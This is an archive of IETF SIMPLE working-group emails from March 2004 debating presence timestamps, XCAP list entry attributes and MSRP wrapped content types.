Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 11:36:45 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Yes, I think you need them.

The reason is that, if you used relative timestamps, then the timestamps 
need to be recomputed every time the presence document is fetched or 
sent in a notify. This requires a "re-encoding" of the document into XML 
from whatever internal form is being used, and ends up being very 
expensive. Plus, without absolute timestamps, the document doesnt stand 
on its own. It would only be defined relative to the time of delivery in 
a transport protocol. That would prohibit me from putting such a doc on 
a web page, if I so desired (for example).

-Jonathan R.

Brian Stucker wrote:

> On a similar note... I didn't want to bring this up during the meeting 
> today because of the compressed schedule, but are we really happy with 
> using absolute time stamps? I'm a bit worried about using them when 
> we've gone back and gotten rid of them elsewhere in the protocol. Am I 
> just being paranoid?
> 
> Regards,
> 
> Brian
> 
> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: Monday, March 01, 2004 9:09 AM
> To: Paul Kyzivat
> Cc: Simple WG
> Subject: Re: [Simple] Comments on draft-ietf-simple-future
> 
> 
> 
> 
> Paul Kyzivat wrote:
> 
>  >
>  >
>  > Jonathan Rosenberg wrote:
>  >
>  >>>  Future status cannot be expressed with <tuples> elements with
>  >>>    optional extensions since PIDF parsers would not be able to
>  >>>    distinguish current from future or past information.
>  >>
>  >>
>  >>
>  >> I think you mean <tuple> elements. In any case, this text is not quite
>  >> right. You are in fact extending <tuple> with an optional extension,
>  >> <future-status>. What I think you mean is that you cannot just extend
>  >> an existing element, like <activity>, with attributes that define the
>  >> future status, because these would not be understood and thus
>  >> misinterpreted as current status.
>  >
>  >
>  > Not only can't, but don't want to. The goal is to provide a way to use
>  > all the normal attributes that define current status to define future
>  > status as well. So the goal is to provide a separate context in which
>  > the existing elements may be used where they won't be misunderstood by
>  > those who don't understand this extension.
>  >
>  >> Unfortunately, the nature of the schemas is that the new one cannot
>  >> say where in the PIDF document this is supposed to go. You need to
>  >> specify that this element MUST be a child of <tuple>. Also, can you
>  >> have more than one (I think so)? In that case, can they represent
>  >> overlapping times (I think so)?
>  >
>  >
>  > That is an ugly case, because when there is an overlap, which takes
>  > precedence?
> 
> I had in mind cases where the attributes in the overlapping time-spaces
> themselves did not overlap, e.g., i was <busy> from 10am-11am and <in a
> meeting> from 1030am to noon.
> 
> I suppose we could just mandate that the PA only generate notifications
> with non-overlapping intervals. This forces the PA to do any kind of
> precedence computations. I think the PA is the only one that can do it.
> 
> -Jonathan R.
> 
> 
> 
> -- 
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 12:00:57 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21859
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 12:00:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axqmo-000362-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 12:00:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axqm0-0002uK-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 12:00:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axql3-0002a4-00; Mon, 01 Mar 2004 11:59:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axqkw-00009I-Ke; Mon, 01 Mar 2004 11:59:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axqks-000086-Ey
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:58:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA20805
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:58:55 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axqj8-0002Ff-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:57:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqiC-0001wh-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:56:13 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axqhf-0001oB-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:55:39 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21GtaT10269;
	Mon, 1 Mar 2004 18:55:36 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 18:55:21 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i21GtL7Y011836;
	Mon, 1 Mar 2004 18:55:21 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00cXbdcN; Mon, 01 Mar 2004 18:55:19 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21GtI715830;
	Mon, 1 Mar 2004 18:55:18 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 18:55:18 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB70179780C@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
Thread-Index: AcP/dzf5OzjOao6NQl293w0GxcGGMwANqj8Q
To: <adam@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 01 Mar 2004 16:55:18.0161 (UTC) FILETIME=[F9C8B010:01C3FFAD]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 18:55:17 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

So, you need name to be mandatory and then push URI into an element like =
I suggested.

/Hisham

> -----Original Message-----
> From: ext Adam Roach [mailto:adam@dynamicsoft.com]
> Sent: 01.March.2004 12:22
> To: Khartabil Hisham (Nokia-TP-MSW/Helsinki); Adam Roach
> Cc: simple@ietf.org
> Subject: RE: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
>=20
>=20
>=20
>=20
>=20
> hisham.khartabil@nokia.com [mailto:hisham.khartabil@nokia.com] writes:
>=20
> > > There is strong motivation to have a very small notation
> > > for minimal list, along the lines of:
> > >=20
> > >   <entry uri=3D"sip:adam@example.com" />
> > >   <entry uri=3D"sip:hisham@example.com" />
> > >   <entry uri=3D"sip:robert@example.com" />
> >=20
> > Yes, I was thinking the same. If the uri in unique, why do we=20
> > need name?
>=20
> The stated motivation has been that SIP URI comparision rules
> can be inefficient.
>=20
> /a
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 12:03:07 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22042
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 12:03:07 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axqou-0003Yp-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 12:03:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqnL-0003CC-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 12:01:32 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqmN-0002x1-00; Mon, 01 Mar 2004 12:00:31 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axqm9-0000dF-Hz; Mon, 01 Mar 2004 12:00:17 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axql1-0000Ad-3A
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:59:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA20924
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:59:03 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axqh1-0001kJ-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:54:59 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axqg8-0001aj-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:54:05 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqfL-0001S3-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:53:15 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21Gr5716861;
	Mon, 1 Mar 2004 18:53:05 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 18:52:58 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i21GqwjM000675;
	Mon, 1 Mar 2004 18:52:58 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00d7lktF; Mon, 01 Mar 2004 18:52:57 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21GquO09770;
	Mon, 1 Mar 2004 18:52:56 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 18:52:55 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] MSRP: Wrapped types
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB70179780B@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] MSRP: Wrapped types
Thread-Index: AcP/aTzkq4CZ/HSBRqawMrYqox8fqAARCHuQ
To: <pkyzivat@cisco.com>
Cc: <bcampbell@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 01 Mar 2004 16:52:55.0729 (UTC) FILETIME=[A4E34A10:01C3FFAD]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 18:52:56 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable



> -----Original Message-----
> From: ext Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: 01.March.2004 10:42
> To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
> Cc: bcampbell@dynamicsoft.com; simple@ietf.org
> Subject: Re: [Simple] MSRP: Wrapped types
>=20
>=20
> If we are to do more than leave as is, then I think we need=20
> to revisit=20
> requirements. I have the impression that the people raising=20
> issues may=20
> have different notions of what the requirements are.
>=20
> For instance, if there is a requirement to have messages wrapped in=20
> cpim, and then the cpim wrapper must be signed, and using=20
> just signed,=20
> or just cpim isn't ok, then we can't meet the requirement.

You can do that with the current solution. accept-types can have both =
message/cpim and signed. This means that they can both appear as wrapped =
types.

/Hisham

>=20
> 	Paul
>=20
> hisham.khartabil@nokia.com wrote:
> > My vote is to leave it as is. This is a solution that we=20
> were comfortable with after a long debate. The new proposals=20
> add no benefit.
> >=20
> > /Hisham
> >=20
> >=20
> >>-----Original Message-----
> >>From: simple-admin@ietf.org=20
> [mailto:simple-admin@ietf.org]On Behalf Of
> >>ext Ben Campbell
> >>Sent: 27.February.2004 22:53
> >>To: simple@ietf.org
> >>Subject: [Simple] MSRP: Wrapped types
> >>
> >>
> >>Another issue came up during the discussions several of us=20
> >>had a SIPIT.=20
> >>I am separating this out from the MSRP/SIMS harmonization=20
> >>email, as it=20
> >>is orthagonal to that.
> >>
> >>Several people commented that the existing "accept-types" and=20
> >>"accept-wrapped-types" were overly confusing and error prone.=20
> >>To recap,=20
> >>the point of this mechanism is to allow an MSRP device to accept a=20
> >>number of formats, but require them to be wrapped in an=20
> >>envelope of some=20
> >>sort. The motivation behind this is that a CPIM gateway may=20
> allow any=20
> >>number of content-types, but insist that everything be wrapped in a=20
> >>message/cpim envelope.
> >>
> >>The existing mechanism says that any format listed in=20
> >>"accept-types" can=20
> >>occur anywhere in a body, including at the root. Formats listed in=20
> >>"accept-wrapped-types" cannot occur at the root; that is,=20
> >>they must be=20
> >>wrapped inside of some format listed in "accept-types". This=20
> >>solves the=20
> >>problem, but it is pretty complicated and difficult to understand.
> >>
> >>Two possible alternatives were offered:
> >>
> >>1) Get rid of the "accept-wrapped-types" attribute, and=20
> >>instead add an=20
> >>attribute that means "I require CPIM". This would mean that=20
> >>all content=20
> >>must be wrapped in message/cpim envelopes.
> >>
> >>2) Generalize option 1 a little bit by adding an "envelope"=20
> >>attribute.=20
> >>This attribute would contain a single format entry. All=20
> >>content must be=20
> >>wrapped in that format.
> >>
> >>And of course, there is an implied item 3: Leave it as is.
> >>
> >>Thoughts?
> >>
> >>Thanks!
> >>
> >>Ben.
> >>
> >>_______________________________________________
> >>Simple mailing list
> >>Simple@ietf.org
> >>https://www1.ietf.org/mailman/listinfo/simple
> >>
> >=20
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
>=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 12:29:30 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18780
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 11:42:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqGF-0003dh-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:27:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqDe-0002TI-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:24:40 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqAz-0001P6-00; Mon, 01 Mar 2004 11:21:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axpw6-0000nP-Kh; Mon, 01 Mar 2004 11:06:31 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpw0-0002h1-0g; Mon, 01 Mar 2004 11:06:24 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpvc-0002Mz-NF
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:06:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13875
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:05:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axphy-0007V2-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:51:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxpUL-0002xD-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:37:52 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axp38-0003GO-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:09:42 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21F9CNr011417;
	Mon, 1 Mar 2004 10:09:13 -0500 (EST)
Message-ID: <40435205.1040007@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com> <4042A88A.1070109@cisco.com>
In-Reply-To: <4042A88A.1070109@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:08:53 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Paul Kyzivat wrote:

> 
> 
> Jonathan Rosenberg wrote:
> 
>>>  Future status cannot be expressed with <tuples> elements with
>>>    optional extensions since PIDF parsers would not be able to
>>>    distinguish current from future or past information.
>>
>>
>>
>> I think you mean <tuple> elements. In any case, this text is not quite 
>> right. You are in fact extending <tuple> with an optional extension, 
>> <future-status>. What I think you mean is that you cannot just extend 
>> an existing element, like <activity>, with attributes that define the 
>> future status, because these would not be understood and thus 
>> misinterpreted as current status.
> 
> 
> Not only can't, but don't want to. The goal is to provide a way to use 
> all the normal attributes that define current status to define future 
> status as well. So the goal is to provide a separate context in which 
> the existing elements may be used where they won't be misunderstood by 
> those who don't understand this extension.
> 
>> Unfortunately, the nature of the schemas is that the new one cannot 
>> say where in the PIDF document this is supposed to go. You need to 
>> specify that this element MUST be a child of <tuple>. Also, can you 
>> have more than one (I think so)? In that case, can they represent 
>> overlapping times (I think so)?
> 
> 
> That is an ugly case, because when there is an overlap, which takes 
> precedence?

I had in mind cases where the attributes in the overlapping time-spaces 
themselves did not overlap, e.g., i was <busy> from 10am-11am and <in a 
meeting> from 1030am to noon.

I suppose we could just mandate that the PA only generate notifications 
with non-overlapping intervals. This forces the PA to do any kind of 
precedence computations. I think the PA is the only one that can do it.

-Jonathan R.



-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 12:58:03 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24767
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 12:58:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrg4-0002JF-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 12:58:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axrez-00029R-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 12:56:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxreA-00021e-00; Mon, 01 Mar 2004 12:56:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axre6-00056A-Af; Mon, 01 Mar 2004 12:56:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrdu-00055f-RY
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 12:55:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24656
	for <simple@ietf.org>; Mon, 1 Mar 2004 12:55:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrdt-0001yz-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:55:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axrcu-0001sD-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:54:49 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrby-0001la-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:53:50 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21HrfL10236;
	Mon, 1 Mar 2004 19:53:41 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 19:53:32 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i21HrW8D029588;
	Mon, 1 Mar 2004 19:53:32 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks001.ntc.nokia.com 00t3ebfx; Mon, 01 Mar 2004 19:53:31 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21HrPO00927;
	Mon, 1 Mar 2004 19:53:26 +0200 (EET)
Received: from nokia.com ([10.162.252.231]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 19:53:25 +0200
Message-ID: <40437891.7080304@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "ext hisham.khartabil@nokia.com" <hisham.khartabil@nokia.com>
CC: pkyzivat@cisco.com, bcampbell@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] MSRP: Wrapped types
References: <2038BCC78B1AD641891A0D1AE133DBB70179780B@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB70179780B@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 01 Mar 2004 17:53:25.0562 (UTC) FILETIME=[186FD9A0:01C3FFB6]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 19:53:21 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



ext hisham.khartabil@nokia.com wrote:
> 
>> -----Original Message----- From: ext Paul Kyzivat
>> [mailto:pkyzivat@cisco.com] Sent: 01.March.2004 10:42 To: Khartabil
>> Hisham (Nokia-TP-MSW/Helsinki) Cc: bcampbell@dynamicsoft.com;
>> simple@ietf.org Subject: Re: [Simple] MSRP: Wrapped types
>> 
>> 
>> If we are to do more than leave as is, then I think we need to
>> revisit requirements. I have the impression that the people raising
>>  issues may have different notions of what the requirements are.
>> 
>> For instance, if there is a requirement to have messages wrapped in
>>  cpim, and then the cpim wrapper must be signed, and using just
>> signed, or just cpim isn't ok, then we can't meet the requirement.
> 
> 
> You can do that with the current solution. accept-types can have both
> message/cpim and signed. This means that they can both appear as
> wrapped types.

Yes, they can both appear there, but you can't mandate special ordering, 
i.e., that the message needs to first be wrapped in CPIM, then to 
multipart/signed and not the other way around, or using only one of them.

This may be feature creep, but I think it's important to see whether 
there are valid usages for this sort of thing because it's not really 
something that can be added easily afterwards.

Cheers,
Aki

> /Hisham
> 
> 
>> Paul
>> 
